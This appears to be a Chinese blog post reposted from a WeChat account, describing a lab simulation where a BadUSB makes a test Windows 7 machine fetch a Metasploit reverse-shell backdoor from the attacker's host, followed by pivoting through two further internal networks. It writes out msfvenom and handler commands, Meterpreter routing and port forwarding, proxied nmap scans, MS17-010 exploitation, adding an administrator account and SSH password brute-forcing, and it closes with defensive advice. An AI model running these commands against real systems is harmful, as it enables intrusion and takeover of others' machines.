做爲一個安全人員,聽過許多社工APT案例,釣魚郵件、水坑攻擊、丟個u盤等等。前段時間在一次培訓中瞭解到BadUSB的攻擊方式,能夠經過U盤達到控制服務器的效果,在著名的美劇《黑客軍團》中也出現了在停車場扔BadUSB來進行釣魚的場景。linux
一時好奇,因而嘗試模擬一次社工,利用VMware搭建了3層網絡靶場,經過BadUSB+MSF的攻擊手段,一步一步滲透到第三層網絡。
web
0x01 三層網絡靶場搭建
本次模擬實驗的網絡拓撲以下:
第一層網絡,模擬企業辦公網,爲一臺win7的員工辦公電腦,第二層網絡模擬內網,是一臺win2003服務器,第三層網絡爲企業核心網,爲一臺Linux服務器。攻擊者的攻擊機有kali和win10。shell
咱們能夠利用VMware搭建出3層網絡的網絡環境,首先在虛擬機中新建3塊網卡,並選擇僅主機模式:
編程
咱們將kali設爲第一層網絡vmnet1,在網絡適配器中選擇自定義vmnet1:
windows
在第一層靶機win7虛擬機設置中添加一個網絡,並將兩個網絡分別設爲vmnet1和vmnet2,達到雙網卡的效果:
瀏覽器
同理,將第二層靶機win2003設爲雙網卡vmnet2和vmnet3:
安全
最後,將第三層靶機linux的網絡設爲vmnet3:
服務器
至此,咱們本次試驗的3層網絡靶場已經搭建完畢,攻擊者的kali只能訪問第一層網絡,而沒法訪問第二層和第三層的靶機:
微信
0x02 BadUSB介紹
效果演示
在介紹BadUSB以前,咱們先來看一下他的威力,下面的u盤看上去是一個u盤,但其實內部是一個單片機,普通人很容易被迷惑。網絡
我在本地的win10上作了演示,個人系統裝了防病毒軟件,而且補丁也更新到最新,但當我將上面的u盤查到電腦上的時候,他達到了任意執行命令的效果。
固然上面的操做只是爲了演示,咱們徹底能夠利用他來作更多隱蔽的攻擊操做。
什麼是BadUSB?
簡單來講,就是讓USB設備假裝成鍵盤,被插入的電腦猝不及防會被迅速輸入必定的「指令」,這個指令會讓該電腦迅速成爲肉雞,這個漏洞最先在2014年的BlackHat安全大會上公佈。BadUSB最可怕的一點是惡意代碼存在於U盤的固件中,因爲PC上的殺毒軟件沒法訪問到U盤存放固件的區域,所以也就意味着殺毒軟件和U盤格式化都沒法應對BadUSB進行攻擊。常見的BadUSB
一、TEENSY
攻擊者在定製攻擊設備時,會向USB設備中置入一個攻擊芯片,此攻擊芯片是一個很是小並且功能完整的單片機開發系統,它的名字叫TEENSY。經過TEENSY你能夠模擬出一個鍵盤和鼠標,當你插入這個定製的USB設備時,電腦會識別爲一個鍵盤,利用設備中的微處理器與存儲空間和編程進去的攻擊代碼,就能夠向主機發送控制命令,從而徹底控制主機,不管自動播放是否開啓、是否安裝殺毒軟件,均可以成功。
二、USB RUBBER DUCKY
簡稱USB橡皮鴨,是最先的按鍵注入工具,經過嵌入式開發板實現,後來發展成爲一個徹底成熟的商業化按鍵注入攻擊平臺。它的原理一樣是將USB設備模擬成爲鍵盤,讓電腦識別成爲鍵盤,而後進行腳本模擬按鍵進行攻擊。
製做一款簡易BadUSB
製做一款BadUSB咱們須要如下工具:
一、BadUSB設備,目前在淘寶有售,咱們這裏選用的是Digispark,Digispark是一個基於ATTINY85微控制器的USB開發板,體積小且價錢便宜,淘寶有售:https://item.taobao.com/item.htm?spm=a1z09.2.0.0.57db2e8dK2zETX&id=559310622821&_u=b50qdl8ef4d
二、Arduino IDE
Arduino IDE用於燒錄代碼的編譯器,能夠將咱們的惡意代碼燒錄到BadUSB中,配置好相關參數,將開發板設爲Digispark,編程器設爲USBtinyISP:
編寫好代碼後,咱們就能夠點擊「上傳」按鈕,而後插入BadUSB設備,一款簡易BadUSB就作好了。
0x03 MSF內網滲透
有了上面的BadUSB的知識,咱們能夠模擬一個社工場景:企業內部人員撿到了一個「u盤」,出於好奇插在了本身的辦公電腦上,而這個「u盤」實際上是一個BadUSB,插上以後會自動下載攻擊者用MSF製做的後門,因此在插上u盤以後,員工的辦公電腦就已經被黑客控制,黑客從而能夠進一步進行內網滲透、橫向擴展。下面咱們就來看看如何利用MSF一步一步進行內網滲透:
製做MSF後門:
msf的msfvenom命令能夠生成咱們所須要的後門:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.59.128 LPORT=6666 -f exe >shell.exe
其中,192.168.59.128是msf監聽端的地址,6666是msf監聽端的端口。咱們將生成的shell.exe放在卡里搭建的web服務上。
MSF開啓監聽:
在MSF服務端,咱們開啓監聽,等待win7反彈shell:use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.59.128 set LPORT 6666 exploit
BadUSB燒入攻擊程序
根據工做中真實監控的payload套路,咱們在BadUSB中燒入以下程序,讓第一層靶機Win7自動下載攻擊者kali中的製做好的shell.exe,並執行:
這樣一來,當win7被插上u盤後,攻擊者的msf就得到了一個反彈shell:
meterpreter滲透
Meterpreter是MSF中的一個模塊,攻擊payload在攻擊成功之後給咱們返回一個控制通道——Meterpreter shell。Meterpreter shell做爲滲透模塊有不少有用的功能,好比添加一個用戶、打開shell、獲得用戶密碼、上傳下載遠程主機的文件、運行cmd.exe、捕捉屏幕、獲得遠程控制權、捕獲按鍵信息、清除應用程序、顯示遠程主機的系統信息、顯示遠程機器的網絡接口和IP地址等信息等等。
咱們能夠在meterpreter中輸入shell得到靶機win7的shell,執行ipconfig,發現第二層網絡的網段信息:
爲了使得MSF可以繼續對第二層網絡進行滲透,咱們首先須要添加路由表:
metepreter> run autoroute -s 192.168.90.0/24
這樣,通往192.168.90.0/24網段的流量經過meterpreter 的session2進行路由。而後,咱們在msf啓動socks代理:
msf> use auxiliary/server/socks4a msf > set srvhost 192.168.59.128 msf > set srvport 9999 msf > run
這樣其餘攻擊軟件能夠經過MSF socks代理、添加的路由對第二層滲透。
此時,咱們已經能夠訪問第二層網絡192.168.90.0/24了,按照常見的滲透思路,咱們會對第二層網絡進行掃描探測,看看存活主機有哪些,好比用nmap進行掃描,不過在此以前,咱們還須要配置kali中的proxychain,經過proxychain 將nmap的流量經過msf的socks代理,進行第二層的網絡掃描。
配置proxychain
修改/etc/proxychains.conf,將裏面的服務器和端口設置爲msf socksserver的信息:
此時,咱們能夠利用nmap進行第二層網絡的探測:
因爲proxychains沒法代理icmp的數據包 因此必須添加-Pn -sT參數,即不檢測主機是否存活,直接進行端口tcp掃描。
proxychains nmap -Pn -sT -p80,3306,445,3389,22 192.168.90.129-132
經過掃描咱們發現了,第二層網絡中的靶機地址192.168.90.129,同時開啓了80、44五、330六、3389端口,所以下一步的滲透能夠從這幾個端口考慮。 這裏有幾個思路,能夠從80端口找漏洞,嘗試上傳webshell,3306和3389能夠嘗試口令爆破,而445端口第一個就會想到大名鼎鼎的MS17-010,永恆之藍。
永恆之藍
雖然wannacry事件已通過去一年多了,內網裏存在ms17-010漏洞的狀況在各個行業並很多見,在此次模擬環境中,第二層網絡win2003就存在這個漏洞,咱們能夠利用msf直接對ms17-010進行利用,拿到shell,配置攻擊參數,因爲第二層服務器沒法直接和攻擊者的kali進行通訊,因此這裏注意payload要設置爲bind_tcp,即採用正向代理的模式。
成功攻擊,得到meterpreter shell:
拿到system權限,咱們能夠修改administrator密碼,或者新增管理員用戶:
net user tinhyfisher tinyfisher /add 添加用戶tinyfisher密碼爲tinyfisher net localgroup administrators tinyfisher /add 將賬號tinyfishe升級爲管理員
端口轉發
咱們看到,第二層的win2003服務器開啓了3389,咱們能夠登陸遠程桌面,若是沒有開啓也不要緊,咱們能夠經過下面的命令開啓。metepreter>run getgui -e 或者 metepreter>run post/windows/manage/enable_rdp
如今,咱們沒法直接從最外層訪問第二層的3389,咱們須要將3389的流量轉發出來,從而登陸遠程桌面:
metepreter> portfwd add -l 7777 -p 3389 -r 192.168.90.129 #將目標機192.168.90.129的3389端口轉發到本地kali 7777端口
至此,咱們已經能夠在本身的攻擊機上,遠程登陸並控制第二層靶機了。第三層網絡滲透
一樣,咱們要進一步對第三層網路進行滲透的話,第一步仍是添加到第三層的路由:
而後是利用nmap探測第三層網絡端口信息:
開放了80和22端口,思路比較明顯,要拿到權限,要麼ssh口令爆破,要麼從web端找漏洞傳webshell。
口令爆破
首先嚐試第一個思路,看看ssh是否存在弱口令,咱們使用auxiliary/scanner/ssh/ssh_login模塊,配置好用戶名和字典,開始爆破:
果真存在弱口令123456,直接拿到root權限。
web滲透
咱們能夠在瀏覽器中配置kali爲代理服務器,從而訪問第三層網絡:
打開訪問,發現是Typecho的博客系統:
對於這種CMS咱們的思路通常是直接去互聯網搜索CMS的漏洞poc進行測試,這裏就再也不進一步演示:
至此,咱們經過BadUSB讓第一層網絡中的win7系統下載並運行咱們的惡意軟件,而後經過MSF利用MS17-0十、口令爆破、web滲透等方式穿透三層內網,最終拿下第三層網絡系統的權限。常見的滲透思路能夠參考下面的腦圖:
0x04 總結
本次模擬只是最簡單的演示,實際狀況會比這個複雜的多,好比目標會安裝防病毒軟件,所以,當利用BadUSB下載msf後門的時候須要考慮如何免殺,否則很容易被發現;各個網段通常也會作隔離,所以如何找到網絡突破口比較難;內部會有各類安全設備,好比IDS、蜜罐、TDA等等,因此真正滲透比本次試驗要難的多。
但這裏出現的員工安全意識較差,補丁更新不及時、沒有安裝防病毒軟件或者病毒庫更新不及時、以及系統存在弱口令的問題在實際工做中也是常常遇到,作好企業安全工做這些基礎工做很重要。
最後,經過USB接口攻擊的案例不少,BadUSB只是一類,還有經過USB接口橫跨PC和Mobile平臺進行攻擊的案例。咱們在平常使用USB設備時,不要使用陌生的USB設備,避免USB存在惡意代碼致使安全風險。
本文分享自微信公衆號 - 湛盧工做室(xuehao_studio)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。